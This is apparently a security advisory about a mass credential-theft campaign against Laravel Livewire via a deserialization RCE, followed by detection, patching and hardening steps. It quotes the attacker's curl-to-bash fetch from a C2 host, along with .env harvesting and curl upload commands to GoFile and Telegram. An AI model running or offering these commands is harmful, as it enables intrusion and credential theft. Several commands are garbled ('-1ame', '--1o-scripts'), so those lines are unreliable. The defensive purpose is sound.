Introduction:
A large-scale cyber campaign targeting Laravel Livewire applications has been uncovered, with attackers exploiting a critical remote code execution (RCE) flaw to steal sensitive credentials from thousands of systems worldwide. The vulnerability, designated as CVE-2025-54068 with a CVSS score of 9.8 (Critical), affects Livewire v3 versions up to 3.6.3 and stems from improper validation of component property updates during the framework’s hydration process. First observed by Imperva on May 24, 2026, this campaign has already compromised 6,167 unique applications across e-commerce, healthcare, finance, education, and government sectors, exfiltrating over 14,000 valid database passwords, 188 live Stripe payment keys, 381 AWS credentials, and thousands of OAuth secrets.
Learning Objectives:
- Understand the technical root cause of CVE-2025-54068 and how improper deserialization during Livewire’s hydration process enables unauthenticated RCE
- Master the attack chain, from initial exploitation via PHPGGC gadget chains to credential harvesting using the “shoc.enz” Bash script
- Implement comprehensive detection, mitigation, and hardering strategies including WAF rules, system monitoring, and emergency patching procedures
You Should Know:
- Understanding the Vulnerability: How CVE-2025-54068 Enables Unauthenticated RCE
The vulnerability resides in Laravel Livewire v3’s property update hydration mechanism, which processes component state changes on the server side. When a Livewire component state is restored from a browser request, Livewire v3 (up to v3.6.3) fails to verify the integrity of the submitted data before deserializing it. An unauthenticated attacker can inject a malicious serialized PHP object into this request, triggering arbitrary code execution on deserialization.
The exploitation requires a component to be mounted and configured in a particular way, but critically, no authentication or user interaction is necessary. Attackers leverage PHPGGC gadget chains—pre-built sequences of PHP classes that abuse legitimate classes already present in Laravel applications—to achieve code execution during deserialization. The following HTTP request, reconstructed from captured attack traffic, illustrates the exploitation pattern:
POST /livewire/update HTTP/1.1
Host: vulnerable-target.com
Content-Type: application/json
{
"components": [
{
"snapshot": "{\"class\":\"MaliciousComponent\",\"data\":[...]}",
"updates": [
{
"type": "syncInput",
"payload": {
"name": "property",
"value": "O:...:..."
}
}
]
}
]
}
Step-by-step guide explaining what this does and how to use it:
The vulnerability exploits Livewire’s state restoration process. When a request reaches /livewire/update, the framework deserializes the `snapshot` and `updates` fields without proper validation. An attacker crafts a serialized PHP object using PHPGGC that, when deserialized, executes arbitrary system commands. The attack complexity is rated as high, meaning exploitation requires specific component configurations, but no privileges or user interaction are necessary for successful attacks.
- The Attack Chain: From Exploitation to Credential Exfiltration
The attack campaign follows a sophisticated multi-stage process designed for stealth and maximum data extraction.
Step-by-step guide explaining what this does and how to use it:
Stage 1: Initial Exploitation – Attackers scan the internet for vulnerable Laravel Livewire deployments. Upon identifying a target, they send a crafted POST request to `/livewire/update` containing a malicious serialized PHP object. The payload executes the following command:
curl -skfsSL hxxps://xantibot[.]pw/database-sell/shoc.enz | tr -d '\r' | bash >/dev/null 2>&1 &
This fetches a 5,269-byte Bash shell script named `shoc.enz` (SHA256: 548c3672fd3201dab56f714fdd5812bb024980815b3a2b6299f0126bdf16fb3e) from the attacker’s C2 server and pipes it directly into bash, executing it in the background with all output suppressed.
Stage 2: Credential Harvesting – The `shoc.enz` script performs the following operations:
Creates a temporary working directory mkdir -p /tmp/xxxxx Recursively scans the entire filesystem for .env files find / -1ame ".env" -type f 2>/dev/null Parses discovered files for sensitive credentials grep -E "DB_HOST|DB_DATABASE|DB_USERNAME|DB_PASSWORD|APP_KEY|AWS_|STRIPE_" /path/to/.env Stages and compresses the data tar -czf /tmp/stolen_data.tar.gz /tmp/credentials/ Exfiltrates through multiple channels curl -F "file=@/tmp/stolen_data.tar.gz" https://gofile.io/upload curl -F "data=@/tmp/stolen_data.tar.gz" https://api.telegram.org/bot<TOKEN>/sendDocument
Stage 3: Multi-Channel Exfiltration – Attackers use a multi-channel exfiltration setup involving an FTP server, the Telegram API, and the cloud storage platform GoFile. The FTP server alone contained thousands of stolen files, including over 1,850 full database dumps.
Stage 4: Trace Removal – The script removes traces of its activity after execution, making forensic investigation challenging.
3. Detection and Monitoring Strategies
Organizations must implement comprehensive detection mechanisms to identify both exploitation attempts and post-compromise activity.
Linux Command for Detecting .env File Access Anomalies:
Monitor for unusual access to .env files sudo auditctl -w /var/www/html/.env -p rwa -k env_access Check for suspicious curl/wget activities to unknown domains sudo grep -E "curl|wget" /var/log/auth.log /var/log/syslog Monitor for unexpected outbound connections sudo netstat -tunap | grep ESTABLISHED | grep -v -E ":(80|443|22|53)" Detect PHP deserialization attack patterns in web logs sudo grep -E "O:[0-9]+:" /var/log/nginx/access.log | grep "/livewire/update"
Windows Command for Detection (if running Laravel on Windows/IIS):
Search IIS logs for Livewire update requests with serialized payloads
Select-String -Path "C:\inetpub\logs\LogFiles\W3SVC1.log" -Pattern "POST./livewire/update.O:[0-9]+:"
Check for suspicious processes
Get-Process | Where-Object { $<em>.Path -like "temp" -or $</em>.Path -like "tmp" }
Monitor for outbound connections to suspicious IPs
netstat -ano | findstr ESTABLISHED

4. Emergency Mitigation and Patching Procedures
Given the critical nature of this vulnerability and active exploitation in the wild, organizations must prioritize immediate remediation.
Step-by-step guide explaining what this does and how to use it:
Immediate Actions (Within 1 Hour):
- Upgrade Livewire to version 3.6.4 or later – This is the only viable mitigation strategy as no workarounds exist:
Update Livewire via Composer composer require livewire/livewire:^3.6.4 --1o-scripts --1o-plugins Clear configuration cache php artisan config:clear Clear route cache php artisan route:clear Restart queue workers (if applicable) php artisan queue:restart
2. Verify the update was successful:
composer show livewire/livewire | grep versions Should show version 3.6.4 or higher
- Rotate all potentially compromised credentials immediately – The campaign harvested credentials from over 6,167 applications. Rotate:
Database passwords AWS access keys (AWS console -> IAM -> Users -> Security credentials) Stripe API keys (Stripe Dashboard -> Developers -> API keys) OAuth client secrets APP_KEY (Note: this will invalidate existing sessions and encrypted data) php artisan key:generate
- Disable debug mode in production – Ensure `APP_DEBUG=false` in your `.env` file to prevent leakage of sensitive information like the APP_KEY via error pages.
-
Restrict outbound connections – Block connections to known malicious domains:
Add to /etc/hosts or firewall echo "127.0.0.1 xantibot.pw" >> /etc/hosts echo "127.0.0.1 gofile.io" >> /etc/hosts Using iptables iptables -A OUTPUT -d xantibot.pw -j DROP iptables -A OUTPUT -d gofile.io -j DROP
5. Long-Term Hardening and Defense-in-Depth
Beyond immediate patching, organizations should implement comprehensive security measures to prevent similar attacks.
Step-by-step guide explaining what this does and how to use it:
Implement WireShield for Active Monitoring:
The `wire-shield` package monitors Livewire update requests for deserialization attack patterns:
composer require richardstyles/wire-shield Publish configuration php artisan vendor:publish --tag=wire-shield-config
Enable CSP Headers to Mitigate XSS Risks:
Nginx configuration add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https:; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self' https:; frame-src 'self'; object-src 'none';" always;
Implement Rate Limiting on Sensitive Endpoints:
// In Laravel Routes or Middleware
Route::post('/livewire/update', function () {
// Your Livewire update handler
})->middleware(['throttle:10,1']); // Max 10 requests per minute
Regular Security Auditing:
Check for exposed .env files
find /var/www/html -1ame ".env" -exec ls -la {} \;
Audit composer dependencies for known vulnerabilities
composer audit
Check for debug mode in production
grep APP_DEBUG /var/www/html/.env
6. Attribution and Threat Intelligence
Attribution indicators throughout the malware and associated infrastructure point to an Indonesian-origin threat actor. Evidence includes:
- Indonesian-language comments embedded in the malware
- Infrastructure associated with the Asia/Jakarta timezone
- Connections to a Telegram account linked to the operation
- The domain hosting the malicious payload masqueraded as a legitimate anti-bot service
The attack campaign appears to rely on indiscriminate internet-wide scanning to identify vulnerable Laravel deployments, with targets spanning a wide range of industries and geographic regions.
What Undercode Say:
- Key Takeaway 1: The CVE-2025-54068 vulnerability demonstrates how a single unpatched RCE flaw can enable mass-scale credential harvesting affecting thousands of applications across critical sectors. Organizations using Laravel Livewire must treat this as a zero-day-level emergency and patch immediately.
-
Key Takeaway 2: The multi-channel exfiltration strategy using FTP, Telegram, and GoFile highlights the sophistication of modern attack campaigns. Security teams must implement outbound traffic monitoring and restrict unnecessary egress connections to prevent data exfiltration even after initial compromise.
Analysis: This campaign represents a significant evolution in automated, large-scale exploitation tactics. The attackers demonstrated remarkable operational security by using multiple exfiltration channels, cleaning traces after execution, and maintaining C2 infrastructure masquerading as legitimate services. The fact that 6,167 applications were compromised despite the vulnerability being patched in July 2025 underscores the persistent challenge of timely patch management in production environments. Organizations must shift from reactive patching to proactive vulnerability management, including automated scanning, continuous monitoring, and incident response playbooks for critical CVEs. The presence of this vulnerability in CISA’s Known Exploited Vulnerabilities Catalog further emphasizes its criticality and the need for immediate action.
Prediction:
- +1 The widespread attention on this campaign will accelerate adoption of automated vulnerability scanning and WAF solutions among Laravel developers, leading to improved overall security posture in the PHP ecosystem over the next 12-18 months.
-
-1 The availability of public PoC exploits and exploitation tools like Livepyre will lower the barrier to entry for less sophisticated attackers, potentially leading to a surge in opportunistic exploitation attempts against unpatched systems in the coming weeks.
-
-1 The credential theft campaign’s success will likely inspire copycat attacks targeting other PHP frameworks with similar deserialization vulnerabilities, expanding the threat landscape beyond Laravel Livewire.
-
+1 The incident will drive increased investment in runtime application self-protection (RASP) and API security solutions, as organizations recognize the limitations of traditional perimeter defenses against application-layer attacks.
-
-1 Organizations that fail to patch within the next 30 days face a high probability of compromise, given the automated scanning infrastructure already in place and the active exploitation observed in the wild.
